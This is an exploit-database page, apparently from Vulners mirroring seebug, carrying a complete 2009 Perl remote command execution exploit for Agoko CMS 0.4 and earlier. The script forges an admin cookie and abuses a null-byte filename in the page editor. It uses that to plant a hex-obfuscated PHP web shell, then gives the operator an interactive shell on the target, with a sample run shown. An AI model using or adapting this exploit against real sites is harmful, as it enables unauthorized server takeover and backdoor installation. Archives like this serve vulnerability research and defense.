Lucene search
K

Agoko CMS <= 0.4 Remote Command Execution Exploit

🗓️ 09 Sep 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Agoko CMS <= 0.4 Remote Command Execution Exploi

Code

                                                #!/usr/bin/perl

print q~
--------------------------------------------------
Agoko CMS &lt;= 0.4 remote commands execution exploit
by staker
mail: staker[at]hotmail[dot]it
--------------------------------------------------

[*] Usage   -&gt; perl [xpl.pl] [host] [path]
[*] Example -&gt; perl agk.pl localhost /Agoko

~;

         
#&gt;-----------&lt;#
#&gt;- Working -&lt;#
#&gt;-----------&lt;#########################################
# staker[death]:~/Desktop$ perl a.pl 127.0.0.1 /agoko #
#                                                     #
# --------------------------------------------------  #
# Agoko CMS &lt;= 0.4 remote commands execution exploit  #
# by staker                                           #
# mail: staker[at]hotmail[dot]it                      #
# --------------------------------------------------  #
#                                                     #
# [*] Usage   -&gt; perl [xpl.pl] [host] [path]          #
# [*] Example -&gt; perl agk.pl localhost /Agoko         #
#                                                     #
# shell already exists.                               #
#                                                     #
# Agoko[shell]:~$ uname -n -r                         #
#                                                     #
# death 2.6.27-7-generic                              #
#######################################################


use IO::Socket;
use LWP::Simple;


my $host = shift;
my $path = shift || exit(0);


check_shell($host,$path);


sub check_shell() {
     my $host = $_[0];
     my $path = $_[1] || die $!;
     
     my $packet = &quot;GET /$path/content/shell_vup.php HTTP/1.1\r\n&quot;.
                  &quot;Host: $host\r\n&quot;.
                  &quot;Cookie: bany=love_me\r\n&quot;.
                  &quot;User-Agent: Lynx (textmode)\r\n&quot;.
                  &quot;Connection: close\r\n\r\n&quot;;
     
     if (give_kt($host,$packet) =~ /bany wtf/i) {
        print &quot;[*] shell already exists.\n&quot;;
        load_cmd($host,$path);
     }
     else {
        print &quot;[*] exploiting..\n&quot;;
        inject_shell($host,$path);
     }      
}     
                  

sub inject_shell() {
     my ($host,$path) = @_;  
     
     my $shell = &quot;\x3C\x3F\x70\x68\x70\x20\x20\x20\x20\x20\x20\x65\x72\x72&quot;.
                 &quot;\x6F\x72\x5F\x72\x65\x70\x6F\x72\x74\x69\x6E\x67\x28\x45&quot;.
                 &quot;\x5F\x41\x4C\x4C\x29\x3B\x20\x20\x20\x20\x20\x20\x20\x20&quot;.
                 &quot;\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28&quot;.
                 &quot;\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D\x64\x27\x5D\x29\x29&quot;.
                 &quot;\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73&quot;.
                 &quot;\x74\x68\x72\x75\x28\x73\x74\x72\x69\x70\x73\x6C\x61\x73&quot;.
                 &quot;\x68\x65\x73\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D\x64&quot;.
                 &quot;\x27\x5D\x29\x29\x3B\x20\x20\x20\x20\x20\x20\x65\x6C\x73&quot;.
                 &quot;\x65\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x65\x28&quot;.
                 &quot;\x22\x62\x61\x6E\x79\x20\x77\x74\x66\x22\x29\x3B\x20\x20&quot;.
                 &quot;\x20\x20\x20\x20\x3F\x3E\x20&quot;;
     
     
     my $data = &quot;filename=shell_vup.php\x00&amp;text=$shell&amp;Submit=Speichern&quot;;
     
     my $packet = &quot;POST /$path/admintools/editpage-2.php HTTP/1.1\r\n&quot;.
                  &quot;Host: $host\r\n&quot;.
                  &quot;User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n&quot;.
                  &quot;Cookie: bany=love_me\r\n&quot;.
                  &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;.
                  &quot;Content-Length: &quot;.length($data).&quot;\r\n&quot;.
                  &quot;Connection: close\r\n\r\n&quot;.
                   $data;      
     
     if (give_kt($host,$packet) =~ /erfolgreich eingetragen/i) 
     {
         load_cmd($host,$path) 
     }
     else 
     {
         die &quot;[*] Exploit failed.\n&quot;;
     }        
     
}                        
   

sub load_cmd() {
     my $host = $_[0];
     my $path = $_[1];
     
     while (1) 
     {
          print &quot;\nAgoko[shell]:~\$ &quot;;
          chomp (my $cmd = &lt;STDIN&gt;);
          
          exit(0) if $cmd =~ /^(exit|quit|out)+$/i;
          
          getprint(&quot;http://$host/$path/content/shell_vup.php?cmd=$cmd&quot;);
     }     
}
          
         
sub give_kt() {
     my $input = $_[0];
     my $heads = $_[1] || die $!;
     
     my $result;
     my $socket = IO::Socket::INET-&gt;new(
                                         PeerAddr =&gt; $input,
                                         PeerPort =&gt; 80,
                                         Proto    =&gt; 'tcp'
                                       ) || die $!;
     
     $socket-&gt;send($heads);
     
     while (&lt;$socket&gt;) { $result .= $_; }
     
     return $result;
} 

# sebug.net

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Sep 2009 00:00Current
7.1High risk
Vulners AI Score7.1
16